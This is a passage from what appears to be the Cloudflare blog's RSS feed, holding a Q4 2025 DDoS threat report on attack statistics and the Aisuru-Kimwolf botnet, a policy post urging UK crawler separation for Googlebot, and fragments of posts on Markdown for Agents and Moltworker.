    <div>
      <h2>Start using today</h2>
      <a href="#start-using-today">
        
      </a>
    </div>
    <p>To enable Markdown for Agents for your zone, log into the Cloudflare <a href="https://dash.cloudflare.com/"><u>dashboard</u></a>, select your account, select the zone, look for Quick Actions and toggle the Markdown for Agents button to enable. This feature is available today in Beta at no cost for Pro, Business and Enterprise plans, as well as SSL for SaaS customers.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1UqzmHrNa1UdCCI6eXIfmn/3da0ff51dd94219d8af87c172d83fc72/BLOG-3162_5.png" />
          </figure><p>You can find more information about Markdown for Agents on our<a href="https://developers.cloudflare.com/fundamentals/reference/markdown-for-agents/"> Developer Docs</a>. We welcome your feedback as we continue to refine and enhance this feature. We’re curious to see how AI crawlers and agents navigate and adapt to the unstructured nature of the Web as it evolves.</p> ]]></content:encoded>
            <category><![CDATA[AI]]></category>
            <category><![CDATA[Agents]]></category>
            <category><![CDATA[Developers]]></category>
            <category><![CDATA[Developer Platform]]></category>
            <guid isPermaLink="false">5uEb99xvnHVk3QfN0KMjb6</guid>
            <dc:creator>Celso Martinho</dc:creator>
            <dc:creator>Will Allen</dc:creator>
        </item>
        <item>
            <title><![CDATA[2025 Q4 DDoS threat report: A record-setting 31.4 Tbps attack caps a year of massive DDoS assaults]]></title>
            <link>https://blog.cloudflare.com/ddos-threat-report-2025-q4/</link>
            <pubDate>Thu, 05 Feb 2026 14:00:00 GMT</pubDate>
            <description><![CDATA[ The number of DDoS attacks more than doubled in 2025. The network layer is under particular threat as hyper-volumetric attacks grew 700%. ]]></description>
            <content:encoded><![CDATA[ <p>Welcome to the 24th edition of Cloudflare’s Quarterly DDoS Threat Report. In this report, <a href="https://www.cloudflare.com/cloudforce-one/"><u>Cloudforce One</u></a> offers a comprehensive analysis of the evolving threat landscape of <a href="https://www.cloudflare.com/learning/ddos/what-is-a-ddos-attack/"><u>Distributed Denial of Service (DDoS) attacks</u></a> based on data from the <a href="https://www.cloudflare.com/network/"><u>Cloudflare network</u></a>. In this edition, we focus on the fourth quarter of 2025, as well as share overall 2025 data.</p><p>The fourth quarter of 2025 was characterized by an unprecedented bombardment launched by the <a href="https://www.cloudflare.com/learning/ddos/glossary/aisuru-kimwolf-botnet/"><u>Aisuru-Kimwolf botnet</u></a>, dubbed “The Night Before Christmas" DDoS attack campaign. The campaign targeted Cloudflare customers as well as Cloudflare’s dashboard and infrastructure with hyper-volumetric HTTP DDoS attacks exceeding rates of 200 million requests per second (rps), just weeks after a record-breaking 31.4 Terabits per second (Tbps) attack.</p>
    <div>
      <h2>Key insights</h2>
      <a href="#key-insights">
        
      </a>
    </div>
    <ol><li><p>DDoS attacks surged by 121% in 2025, reaching an average of 5,376 attacks automatically mitigated every hour.</p></li><li><p>In the final quarter of 2025, Hong Kong jumped 12 places, making it the second most DDoS’d place on earth. The United Kingdom also leapt by an astonishing 36 places, making it the sixth most-attacked place.</p></li><li><p>Infected Android TVs — part of the Aisuru-Kimwolf botnet — bombarded Cloudflare’s network with hyper-volumetric HTTP DDoS attacks, while Telcos emerged as the most-attacked industry.</p></li></ol>
    <div>
      <h2>2025 saw a huge spike in DDoS attacks</h2>
      <a href="#2025-saw-a-huge-spike-in-ddos-attacks">
        
      </a>
    </div>
    <p>In 2025, the total number of DDoS attacks more than doubled to an incredible 47.1 million. Such attacks have soared in recent years: The number of DDoS attacks spiked 236% between 2023 and 2025.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7gWz9fvMGvTVL30YfnFL55/57749a329c2be23e45f87227221aa440/BLOG-3098_2.png" />
          </figure><p>In 2025, Cloudflare mitigated an average of 5,376 DDoS attacks every hour — of these, 3,925 were network-layer DDoS attacks and 1,451 were HTTP DDoS attacks. </p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6cANr8wDVOOMNIb9IPvPYb/56f75509048fcd68c188fdd87f68e883/.png" />
          </figure>
    <div>
      <h3>Network-layer DDoS attacks more than tripled in 2025</h3>
      <a href="#network-layer-ddos-attacks-more-than-tripled-in-2025">
        
      </a>
    </div>
    <p>The most substantial growth was in network-layer DDoS attacks, which more than tripled year over year. Cloudflare mitigated 34.4 million network-layer DDoS attacks in 2025, compared to 11.4 million in 2024.</p><p>A substantial portion of the network-layer attacks — approximately 13.5 million — targeted global Internet infrastructure protected by <a href="https://www.cloudflare.com/en-gb/network-services/products/magic-transit/"><u>Cloudflare Magic Transit</u></a> and Cloudflare’s infrastructure directly, as part of an 18-day DDoS campaign in the first quarter of 2025. Of these attacks, 6.9 million targeted Magic Transit customers while the remaining 6.6 million targeted Cloudflare directly. </p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6jomtSPOraOer8LPDxJ3Aw/603db470ecbde1362579624193807e43/BLOG-3098_4.png" />
          </figure><p>This assault was a multi-vector DDoS campaign comprising <a href="https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/"><u>SYN flood attacks</u></a>, <a href="https://www.cloudflare.com/learning/ddos/glossary/mirai-botnet/"><u>Mirai-generated DDoS attacks</u></a>, and <a href="https://www.cloudflare.com/learning/ddos/ssdp-ddos-attack/"><u>SSDP amplification attacks</u></a> to name a few. Our systems detected and mitigated these attacks automatically. In fact, we only discovered the campaign while preparing our <a href="https://blog.cloudflare.com/ddos-threat-report-for-2025-q1/"><u>DDoS threat report for 2025 Q1</u></a> — an example of how effective Cloudflare’s DDoS mitigation is!</p><p>In the final quarter of 2025, the number of DDoS attacks grew by 31% over the previous quarter and 58% over 2024. Network-layer DDoS attacks fueled that growth. In 2025 Q4, network-layer DDoS attacks accounted for 78% of all DDoS attacks. The amount of HTTP DDoS attacks remained the same, but surged in their size to rates that we haven’t seen since the <a href="https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/"><u>HTTP/2 Rapid Reset DDoS campaign</u></a> in 2023. These recent surges were launched by the <a href="https://www.cloudflare.com/learning/ddos/glossary/aisuru-kimwolf-botnet/"><u>Aisuru-Kimwolf botnet</u></a>, which we will cover in the next section. </p>
    <div>
      <h3>“The Night Before Christmas” DDoS campaign</h3>
      <a href="#the-night-before-christmas-ddos-campaign">
        
      </a>
    </div>
    <p>On Friday, December 19, 2025, the <a href="https://www.cloudflare.com/learning/ddos/glossary/aisuru-kimwolf-botnet/"><u>Aisuru-Kimwolf botnet</u></a> began bombarding Cloudflare infrastructure and Cloudflare customers with hyper-volumetric DDoS attacks. What was new in this campaign was its size: The botnet used hyper-volumetric HTTP DDoS attacks exceeding rates of 20 million requests per second (Mrps).

</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6CMbEWh6TwRcld7gccwE81/dbe9877483861026d2fec6c0112ca8bb/BLOG-3098_5.png" />
          </figure><p>The Aisuru-Kimwolf botnet is a massive collection of <a href="https://www.cloudflare.com/learning/ddos/glossary/malware/"><u>malware</u></a>-infected devices, primarily Android TVs. The botnet comprises an estimated 1-4 million infected hosts. It is capable of launching DDoS attacks that can cripple critical infrastructure, crash most legacy cloud-based DDoS protection solutions, and even disrupt the connectivity of entire nations.</p><p>Throughout the campaign, Cloudflare’s autonomous DDoS defense systems detected and mitigated all of the attacks: 384 packet-intensive attacks, 329 bit-intensive attacks, and 189 request-intensive attacks, for a total of 902 hyper-volumetric DDoS attacks, averaging 53 attacks a day.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3GDQWNNnHac5Ovwm4z5Bug/052d194716063d069e4ccd2ff49e4228/BLOG-3098_6.png" />
          </figure><p>The average size of the hyper-volumetric DDoS attacks during the campaign were 3 Bpps, 4 Tbps, and 54 Mrps. The maximum rates recorded during the campaign were 9 Bpps, 24 Tbps, and 205 Mrps.</p><p>To put that in context, the scale of a 205 Mrps DDoS attack is comparable to the combined populations of the UK, Germany, and Spain all simultaneously typing a website address and then hitting 'enter’ at the same second.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7N0ruuQdsq6ncG7sQOMvv2/eb092b6380378031003760697d123f9d/BLOG-3098_7.png" />
          </figure><p>While highly dramatic, The Night Before Christmas campaign accounted for only a small portion of the hyper-volumetric DDoS attacks we saw throughout the year.</p>
    <div>
      <h3>Hyper-volumetric DDoS attacks</h3>
      <a href="#hyper-volumetric-ddos-attacks">
        
      </a>
    </div>
    <p>Throughout 2025, Cloudflare observed a continuous increase in hyper-volumetric DDoS attacks. In 2025 Q4, hyper-volumetric attacks increased by 40% compared to the previous quarter.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3ZZAyBKHY8TST9or2kXc7b/a5927b87b686c50aa7137847cd204b74/BLOG-3098_8.png" />
          </figure><p>As the number of attacks increased over the course of 2025, the size of the attacks increased as well, growing by over 700% compared to the large attacks seen in late 2024, with one reaching 31.4 Tbps in a DDoS attack that lasted just 35 seconds. The graph below portrays the rapid growth in DDoS attack sizes as seen and blocked by Cloudflare — each one a world record, i.e. the largest ever disclosed publicly by any company at the time.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5fqqJ2VBvAlhnv0vIpoGZF/bd260c5a7ab673b35865e94b9e86a6d7/BLOG-3098_9.png" />
          </figure><p>Like all of the other attacks, the 31.4 Tbps DDoS attack was detected and mitigated automatically by Cloudflare’s autonomous DDoS defense, which was able to adapt and quickly lock on to botnets such as Aisuru-Kimwolf.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3piM1qb6UGpxBXExV0adHn/8f1cfbb2841dce9d6b462fb71704bca2/BLOG-3098_10.png" />
          </figure><p>Most of the hyper-volumetric DDoS attacks targeted Cloudflare customers in the Telecommunications, Service Providers and Carriers industry. Cloudflare customers in the Gaming industry and customers providing Generative AI services were also heavily targeted. Lastly, Cloudflare’s own infrastructure itself was targeted by multiple attack vectors such as <a href="https://www.cloudflare.com/learning/ddos/http-flood-ddos-attack/"><u>HTTP floods</u></a>, <a href="https://www.cloudflare.com/learning/ddos/dns-amplification-ddos-attack/"><u>DNS attacks</u></a> and <a href="https://www.cloudflare.com/learning/ddos/udp-flood-ddos-attack/"><u>UDP flood</u></a>.</p>
    <div>
      <h3>Most-attacked industries</h3>
      <a href="#most-attacked-industries">
        
      </a>
    </div>
    <p>When analyzing DDoS attacks of all sizes, the Telecommunications, Service Providers and Carriers industry was also the most targeted. Previously, the Information Technology &amp; Services industry held that unlucky title.</p><p>The Gambling &amp; Casinos and Gaming industries ranked third and fourth, respectively. The quarter’s biggest changes in the top 10 were the Computer Software and Business Services industries, which both climbed several spots. </p><p>The most-attacked industries are defined by their role as critical infrastructure, a central backbone for other businesses, or their immediate, high-stakes financial sensitivity to service interruption and latency.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2zmtrvUq0cXCEKlprLopWg/80e622f255fa6466f5facfa1288d571b/image8.png" />
          </figure>
    <div>
      <h3>Most-attacked locations</h3>
      <a href="#most-attacked-locations">
        
      </a>
    </div>
    <p>The DDoS landscape saw both predictable stability and dramatic shifts among the world's most-attacked locations. Targets like China, Germany, Brazil, and the United States were the top five, demonstrating persistent appeal for attackers. </p><p>Hong Kong made a significant move, jumping twelve spots to land at number two. However, the bigger story was the meteoric rise of the United Kingdom, which surged an astonishing 36 places this quarter, making it the sixth most-attacked location.  </p><p>Vietnam held its place as the seventh most-attacked location, followed by Azerbaijan in eighth, India in ninth, and Singapore as number ten.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1fbfabacHT9WNKaZLhShlP/465f20da2e2f728692d5c22fc788a0a3/image10.png" />
          </figure>
    <div>
      <h3>Top attack sources</h3>
      <a href="#top-attack-sources">
        
      </a>
    </div>
    <p>Bangladesh dethroned Indonesia as the largest source of DDoS attacks in the fourth quarter of 2025. Indonesia dropped to the third spot, after spending a year as the top source of DDoS attacks. Ecuador also jumped two spots, making it the second-largest source.</p><p>Notably, Argentina soared an incredible twenty places, making it the fourth-largest source of DDoS attacks. Hong Kong rose three places, taking fifth place. Ukraine came in sixth place, followed by Vietnam, Taiwan, Singapore, and Peru.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/67THFzBjHYivQwttU61U9a/f8f5fe3afcca9495cb7d5fb7f61220fa/image5.png" />
          </figure>
    <div>
      <h2>Top source networks</h2>
      <a href="#top-source-networks">
        
      </a>
    </div>
    <p>The top 10 list of attack source networks reads like a list of Internet giants, revealing a fascinating story about the anatomy of modern DDoS attacks. The common thread is clear: Threat actors are leveraging the world's most accessible and powerful network infrastructure — primarily large, public-facing services. </p><p>We see most DDoS attacks coming from IP addresses associated with Cloud Computing Platforms and Cloud Infrastructure Providers, including<a href="https://radar.cloudflare.com/as14061"> <u>DigitalOcean (AS 14061)</u></a>,<a href="https://radar.cloudflare.com/as8075"> <u>Microsoft (AS 8075)</u></a>,<a href="https://radar.cloudflare.com/as132203"> <u>Tencent (AS 132203)</u></a>, <a href="https://radar.cloudflare.com/as31898"><u>Oracle (AS 31898)</u></a>, and<a href="https://radar.cloudflare.com/as24940"> <u>Hetzner (AS 24940)</u></a>. This demonstrates the strong link between easily-provisioned virtual machines and high-volume attacks. These cloud sources, heavily concentrated in the United States, are closely followed by a significant presence of attacks coming from IP addresses associated with traditional Telecommunications Providers (Telcos). These Telcos, primarily from the Asia-Pacific region (including Vietnam, China, Malaysia, and Taiwan), round out the rest of the top 10.</p><p>This geographic and organizational diversity confirms a two-pronged attack reality: While the sheer scale of the highest-ranking sources often originates from global cloud hubs, the problem is truly worldwide, routed through the Internet's most critical pathways from across the globe. In many DDoS attacks, we see thousands of various source ASNs, highlighting the truly global distribution of botnet nodes.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7ga5hHIgrc1pTwosbpx9di/458a87c028e8d51e10c7c56b416d3b64/BLOG-3098_14.png" />
          </figure><p>To help hosting providers, cloud computing platforms and Internet service providers identify and take down the abusive IP addresses/accounts that launch these attacks, we leverage Cloudflare’s unique vantage point on DDoS attacks to provide a <a href="https://developers.cloudflare.com/ddos-protection/botnet-threat-feed/"><u>free DDoS Botnet Threat Feed for Service Providers</u></a>. </p><p>Over 800 networks worldwide have signed up for this feed, and we’ve already seen great collaboration across the community to take down botnet nodes.</p>
    <div>
      <h3>Helping defend the Internet</h3>
      <a href="#helping-defend-the-internet">
        
      </a>
    </div>
    <p>DDoS attacks are rapidly growing in sophistication and size, surpassing what was previously imaginable. This evolving threat landscape presents a significant challenge for many organizations to keep pace. Organizations currently relying on on-premise mitigation appliances or on-demand scrubbing centers may benefit from re-evaluating their defense strategy.</p><p>Cloudflare is dedicated to offering<a href="https://www.cloudflare.com/ddos/"> <u>free, unmetered DDoS protection</u></a> to all its customers, regardless of the size, duration, or volume of attacks, leveraging its<a href="https://www.cloudflare.com/network/"> <u>vast global network</u></a> and<a href="https://developers.cloudflare.com/ddos-protection/about/"> <u>autonomous DDoS mitigation systems</u></a>.</p>
    <div>
      <h3>About Cloudforce One</h3>
      <a href="#about-cloudforce-one">
        
      </a>
    </div>
    <p>Driven by a mission to help defend the Internet, <a href="https://www.cloudflare.com/cloudforce-one/"><u>Cloudforce One</u></a> leverages telemetry from Cloudflare’s global network — which protects approximately 20% of the web — to drive threat research and operational response, protecting critical systems for millions of organizations worldwide.</p> ]]></content:encoded>
            <category><![CDATA[DDoS Reports]]></category>
            <category><![CDATA[DDoS]]></category>
            <category><![CDATA[Cloudforce One]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Advanced DDoS]]></category>
            <category><![CDATA[AI]]></category>
            <guid isPermaLink="false">4RtH1xA4p0tuaD6gFL46Pf</guid>
            <dc:creator>Omer Yoachimik</dc:creator>
            <dc:creator>Jorge Pacheco</dc:creator>
            <dc:creator>Cloudforce One</dc:creator>
        </item>
        <item>
            <title><![CDATA[Google’s AI advantage: why crawler separation is the only path to a fair Internet]]></title>
            <link>https://blog.cloudflare.com/uk-google-ai-crawler-policy/</link>
            <pubDate>Fri, 30 Jan 2026 17:01:04 GMT</pubDate>
            <description><![CDATA[ Google's dual-purpose crawler creates an unfair AI advantage. To protect publishers and foster competition, the UK’s Competition and Markets Authority must mandate crawler separation for search and AI. ]]></description>
            <content:encoded><![CDATA[ <p>Earlier this week, the UK’s Competition and Markets Authority (CMA) <a href="https://www.gov.uk/government/news/cma-proposes-package-of-measures-to-improve-google-search-services-in-uk"><u>opened its consultation</u></a> on a package of proposed conduct requirements for Google. The consultation invites comments on the proposed requirements before the CMA imposes any final measures. These new rules aim to address the lack of choice and transparency that publishers (broadly defined as “any party that makes content available on the web”) face over how Google uses search to fuel its generative AI services and features. These are the first consultations on conduct requirements launched under the digital markets competition regime in the UK. </p><p>We welcome the CMA’s recognition that publishers need a fairer deal and believe the proposed rules are a step into the right direction. Publishers should be entitled to have access to tools that enable them to control the inclusion of their content in generative AI services, and AI companies should have a level playing field on which to compete. </p><p>But we believe the CMA has not gone far enough and should do more to safeguard the UK’s creative sector and foster healthy competition in the market for generative and agentic AI. </p>
    <div>
      <h2>CMA designation of Google as having Strategic Market Status </h2>
      <a href="#cma-designation-of-google-as-having-strategic-market-status">
        
      </a>
    </div>
    <p>In January 2025, the UK’s regulatory landscape underwent a significant legal shift with the implementation of the Digital Markets, Competition and Consumers Act 2024 (DMCC). Rather than relying on antitrust investigations to address risks to competition, the CMA can now designate firms as having Strategic Market Status (SMS) when they hold substantial, entrenched market power. This designation allows for targeted CMA interventions in digital markets, such as imposing detailed conduct requirements, to improve competition. </p><p>In October 2025, the CMA <a href="https://assets.publishing.service.gov.uk/media/68e8b643cf65bd04bad76724/Final_decision_-_strategic_market_status_investigation_into_Google_s_general_search_services.pdf"><u>designated Google</u></a> as having SMS in general search and search advertising, given its 90 percent share of the search market in the UK. Crucially, this designation encompasses AI Overviews and AI Mode, with the CMA now having the authority to impose conduct requirements on Google’s search ecosystem. Final requirements imposed by the CMA are not merely suggestions but legally enforceable rules that can relate specifically to AI crawling with significant sanctions to ensure Google operates fairly. </p>
    <div>
      <h2>Publishers need a meaningful way to opt out of Google’s use of their content for generative AI</h2>
      <a href="#publishers-need-a-meaningful-way-to-opt-out-of-googles-use-of-their-content-for-generative-ai">
        
      </a>
    </div>
    <p>The CMA’s designation could not be more timely. As we’ve <a href="https://blog.cloudflare.com/building-a-better-internet-with-responsible-ai-bot-principles/"><u>said before</u></a>, we are indisputably in a time when the Internet needs clear “rules of the road” for AI crawling behavior. </p><p>As the CMA rightly <a href="https://assets.publishing.service.gov.uk/media/6979d0bf75d44370965520a0/Publisher_conduct_requirement.pdf"><u>states</u></a>, “publishers have no realistic option but to allow their content to be crawled for Google’s general search because of the market power Google holds in general search. However, Google currently uses that content in both its search generative AI features and in its broader generative AI services.” </p><p>In other words: the same content that Google scrapes for search indexing is also used for inference/grounding purposes, like AI Overviews and AI Mode, which rely on fetching live information from the Internet in response to real-time user queries. And that creates a big problem for publishers—and for competition.</p><p>Because publishers cannot afford to disallow or block Googlebot, Google’s search crawler, on their website, they have to accept that their content will be used in generative AI applications such as AI Overviews and AI Mode within Google Search that <a href="https://blog.cloudflare.com/crawlers-click-ai-bots-training/"><u>return very little, if any, traffic to their websites</u></a>. This undermines the ad-supported business models that have sustained digital publishing for decades, given the critical role of Google Search in driving human traffic to online advertising. It also means that Google’s generative AI applications enter into direct competition with publishers by reproducing their content, most often without attribution or compensation. </p><p>Publishers’ reluctance to block Google because of its dominance in search gives Google an unfair competitive advantage in the market for generative and agentic AI. Unlike other AI bot operators, Google can use its search crawler to gather data for a variety of AI functions with little fear that its access will be restricted. It has minimal incentive to pay publishers for that data, which it is already getting for free. </p><p>This prevents the emergence of a well-functioning marketplace where AI developers negotiate fair value for content. Instead, other AI companies are disincentivized from coming to the table, as they are structurally disadvantaged by a system that allows one dominant player to bypass compensation entirely. As the CMA itself <a href="https://assets.publishing.service.gov.uk/media/6979d05275d443709655209f/Introduction_to_the_consultation.pdf"><u>recognizes</u></a>, "[b]y not providing sufficient control over how this content is used, Google can limit the ability of publishers to monetise their content, while accessing content for AI-generated results in a way that its competitors cannot match”. </p>
    <div>
      <h2>Google’s advantage</h2>
      <a href="#googles-advantage">
        
      </a>
    </div>
    <p>Cloudflare data validates the concern about Google’s competitive advantage. Based on our data, Googlebot sees significantly more Internet content than its closest peers. </p><p>Over an observed period of two months, Googlebot successfully accessed individual pages almost two times more than ClaudeBot and GPTBot, three times more than Meta-ExternalAgent, and more than three times more than Bingbot. The difference was even more extreme for other popular AI crawlers: for instance, Googlebot saw 167 times more unique pages than PerplexityBot. Out of the sampled unique URLs using our network that we observed over the last two months, Googlebot crawled roughly 8%.</p><p><b>In rounded multiple terms, Googlebot sees:</b></p><ul><li><p>vs. ~1.70x the amount of unique URLs seen by ClaudeBot;</p></li><li><p>vs. ~1.76x the amount of unique URLs seen by GPTBot;</p></li><li><p>vs. ~2.99x the amount of unique URLs by Meta-ExternalAgent;</p></li><li><p>vs. ~3.26x the amount of unique URLs seen by Bingbot;</p></li><li><p>vs. ~5.09x the amount of unique URLs seen by Amazonbot;</p></li><li><p>vs. ~14.87x the amount of unique URLs seen by Applebot;</p></li><li><p>vs. ~23.73x the amount of unique URLs seen by Bytespider;</p></li><li><p>vs. ~166.98x the amount of unique URLs seen by PerplexityBot;</p></li><li><p>vs. ~714.48x the amount of unique URLs seen by CCBot; and</p></li><li><p>vs: ~1801.97x the amount of unique URLs seen by archive.org_bot.</p></li></ul><p>Googlebot also stands out in other Cloudflare datasets.  </p><p>Even though it ranks as the most active bot by overall traffic, publishers are far less likely to disallow or block Googlebot in their <a href="https://www.cloudflare.com/learning/bots/what-is-robots-txt/"><u>robots.txt file</u></a> compared to other crawlers. This is likely due to its importance in driving human traffic to their content—and, as a result, ad revenue—through search. </p><p>As shown below, almost no website explicitly disallows the dual-purpose Googlebot in full, reflecting how important this bot is to driving traffic via search referrals. (Note that partial disallows often impact certain parts of a website that are irrelevant for search engine optimization, or SEO, such as login endpoints.)</p>
<p>
Robots.txt merely allows the expression of crawling preferences; it is not an enforcement mechanism. Publishers rely on “good bots” to comply. To manage crawler access to their sites more effectively—and independently of a given bot’s compliance—publishers can set up a Web Application Firewall (WAF) with specific rules, technically preventing undesired crawlers from accessing their sites. Following the same logic as with robots.txt above, we would expect websites to block mostly other AI crawlers but not Googlebot. </p><p>Indeed, when comparing the numbers for customers using <a href="https://www.cloudflare.com/lp/pg-ai-crawl-control/"><u>AI Crawl Control</u></a>, Cloudflare’s own <a href="https://developers.cloudflare.com/ai-crawl-control/configuration/ai-crawl-control-with-waf/"><u>AI crawler blocking tool</u></a> that is integrated in our Application Security suite, between July 2025 and January 2026, one can see that the number of websites actively blocking other popular AI crawlers (e.g., GPTBot, Claudebot), was nearly seven times as high as the number of websites that blocked Googlebot and Bingbot. (Like Googlebot, Bingbot combines search and AI crawling and drives traffic to these sites, but given its small market share in search, its impact is less significant.)</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/344ATKpYmJHsSRlEtxQen5/2fc5da1211b4fd0189e026f0ec19548f/BLOG-3170_3.png" />
          </figure><p>So we agree with the CMA on the problem statement. But how can publishers be enabled to effectively opt out of Google using their content for its generative AI applications? We share the CMA’s conclusion that “in order to be able to make meaningful decisions about how Google uses their Search Content, (...) publishers need the ability effectively to opt their Search Content out of both Google’s search generative AI features and Google’s broader generative AI services.” </p><p>But we’re concerned that the CMA’s proposal is insufficient.</p>
    <div>
      <h2>CMA’s proposed publisher conduct requirements</h2>
      <a href="#cmas-proposed-publisher-conduct-requirements">
        
      </a>
    </div>
    <p>On January 28, 2026, the CMA published four sets of proposed conduct requirements for Google, including <a href="https://assets.publishing.service.gov.uk/media/6979ceae75d443709655209c/Publisher_conduct_requirement.pdf"><u>conduct requirements related to publishers</u></a>. According to the CMA, the proposed publisher rules are designed to address concerns that publishers (1) lack sufficient choice over how Google uses their content in its AI-generated responses, (2) have limited transparency into Google’s use of that content, and (3) do not get effective attribution for Google’s use of their content. The CMA recognized the importance of these concerns because of the role that Google search plays in finding content online. </p><p>The conduct requirements would mandate Google grant publishers <a href="https://assets.publishing.service.gov.uk/media/6979d05275d443709655209f/Introduction_to_the_consultation.pdf"><u>"meaningful and effective" </u></a>control over whether their content is used for AI features, like AI Overviews. Google would be prohibited from taking any action that negatively impacts the effectiveness of those control options, such as intentionally downranking the content in search. </p><p>To support informed decisionmaking, the CMA proposal also requires Google to increase transparency, by publishing clear documentation on how it uses crawled content for generative AI and on exactly what its various publisher controls cover in practice. Finally, the proposal would require Google to ensure effective attribution of publisher content and to provide publishers with detailed, disaggregated engagement data—including specific metrics for impressions, clicks, and "click quality"—to help them evaluate the commercial value of allowing their content to be used in AI-generated search summaries.</p>
    <div>
      <h2>The CMA’s proposed remedies are insufficient</h2>
      <a href="#the-cmas-proposed-remedies-are-insufficient">
        
      </a>
    </div>
    <p>Although we support the CMA’s efforts to improve options for publishers, we are concerned that the proposed requirements do not solve the underlying issue of promoting fair, transparent choice over how their content is used by Google. Publishers are effectively forced to use Google’s proprietary opt-out mechanisms, tied specifically to the Google platform and under the conditions set by Google, rather than granting them direct, autonomous control. <b>A framework where the platform dictates the rules, manages the technical controls, and defines the scope of application does not offer “effective control” to content creators or encourage competitive innovation in the market. Instead, it reinforces a state of permanent dependency.</b>  </p><p>Such a framework also reduces choice for publishers. Creating new opt-out controls makes it impossible for publishers to choose to use external tools to block Googlebot from accessing their content without jeopardizing their appearance in Search results. Instead, under the current proposal, content creators will still have to allow Googlebot to scrape their websites, with no enforcement mechanisms to deploy and limited visibility available if Google does not respect their signalled preferences. Enforcement of these requirements by the CMA, if done properly, will be very onerous, without guarantee that publishers will trust the solution.</p><p>In fact, Cloudflare has received feedback from its customers that Google’s current proprietary opt-out mechanisms, including Google-Extended and ‘nosnippet’, have failed to prevent content from being utilized in ways that publishers cannot control. These opt-out tools also do not enable mechanisms for fair compensation for publishers. </p><p>More broadly, as reflected in our proposed <a href="https://blog.cloudflare.com/building-a-better-internet-with-responsible-ai-bot-principles/"><u>responsible AI bot principles</u></a>, we believe that all AI bots should have one distinct purpose and declare it, so that website owners can make clear decisions over who can access their content and why. Unlike its leading competitors, such as OpenAI and Anthropic, Google does not comply with this principle for Googlebot, which is used for multiple purposes (search indexing, AI training, and inference/grounding). Simply requiring Google to develop a new opt-out mechanism would not allow publishers to achieve meaningful control over the use of their content. </p><p>The most effective way to give publishers that necessary control is to require Googlebot to be split up into separate crawlers. That way, publishers could allow crawling for traditional search indexing, which they need to attract traffic to their sites, but block access for unwanted use of their content in generative AI services and features. </p>
    <div>
      <h2>Requiring crawler separation is the only effective solution </h2>
      <a href="#requiring-crawler-separation-is-the-only-effective-solution">
        
      </a>
    </div>
    <p>To ensure a fair digital ecosystem, the CMA must instead empower content owners to prevent Google from accessing their data for particular purposes in the first place, rather than relying on Google-managed workarounds after the crawler has already accessed the content for other purposes. That approach also enables creators to set conditions for access to their content. </p><p>Although the CMA described crawler separation as an “equally effective intervention”, it ultimately rejected mandating separation based on Google’s input that it would be too onerous. We disagree.</p><p>Requiring Google to split up Googlebot by purpose — just like Google already does for its <a href="https://developers.google.com/crawling/docs/crawlers-fetchers/overview-google-crawlers"><u>nearly 20 other crawlers</u></a> — is not only technically feasible, but also a necessary and proportionate remedy that empowers website operators to have the granular control they currently lack, without increasing traffic load from crawlers to their websites (and in fact, perhaps even decreasing it, should they choose to block AI crawling).</p><p>To be clear, a crawler separation remedy benefits AI companies, by leveling the playing field between them and Google, in addition to giving UK-based publishers more control over their content. (There has been widespread public support for a crawler separation remedy by Daily Mail Group, the Guardian and the News Media Association.) Mandatory crawler separation is not a disadvantage to Google, nor does it undermine investment in AI. On the contrary, it is a pro-competitive safeguard that prevents Google from leveraging its search monopoly to gain an unfair advantage in the AI market. By decoupling these functions, we ensure that AI development is driven by fair-market competition rather than the exploitation of a single hyperscaler’s dominance.</p><p>******</p><p>The UK has a unique chance to lead the world in protecting the value of original and high-quality content on the Internet. However, we worry that the current proposals fall short. We would encourage rules that ensure that Google operates under the same conditions for content access as other AI developers, meaningfully restoring agency to publishers and paving the way for new business models promoting content monetization.</p><p>Cloudflare remains committed to engaging with the CMA and other partners during upcoming consultations to provide evidence-based data to help shape a final decision on conduct requirements that are targeted, proportional, and effective. The CMA still has an opportunity to ensure that the Internet becomes a fair marketplace for content creators and smaller AI players—not just a select few tech giants.</p> ]]></content:encoded>
            <category><![CDATA[AI]]></category>
            <category><![CDATA[AI Bots]]></category>
            <category><![CDATA[Google]]></category>
            <category><![CDATA[Legal]]></category>
            <category><![CDATA[Policy & Legal]]></category>
            <guid isPermaLink="false">1csdasmGFE5gWnYFDBbN9j</guid>
            <dc:creator>Maria Palmieri</dc:creator>
            <dc:creator>Sebastian Hufnagel</dc:creator>
        </item>
        <item>
            <title><![CDATA[Introducing Moltworker: a self-hosted personal AI agent, minus the minis]]></title>
            <link>https://blog.cloudflare.com/moltworker-self-hosted-ai-agent/</link>
            <pubDate>Thu, 29 Jan 2026 14:00:00 GMT</pubDate>
            <description><![CDATA[ Moltworker is a middleware Worker and adapted scripts that allows running OpenClaw (formerly Moltbot, formerly Clawdbot) on Cloudflare's Sandbox SDK and our Developer Platform APIs. So you can self-host an AI personal assistant — without any new hardware. ]]></description>
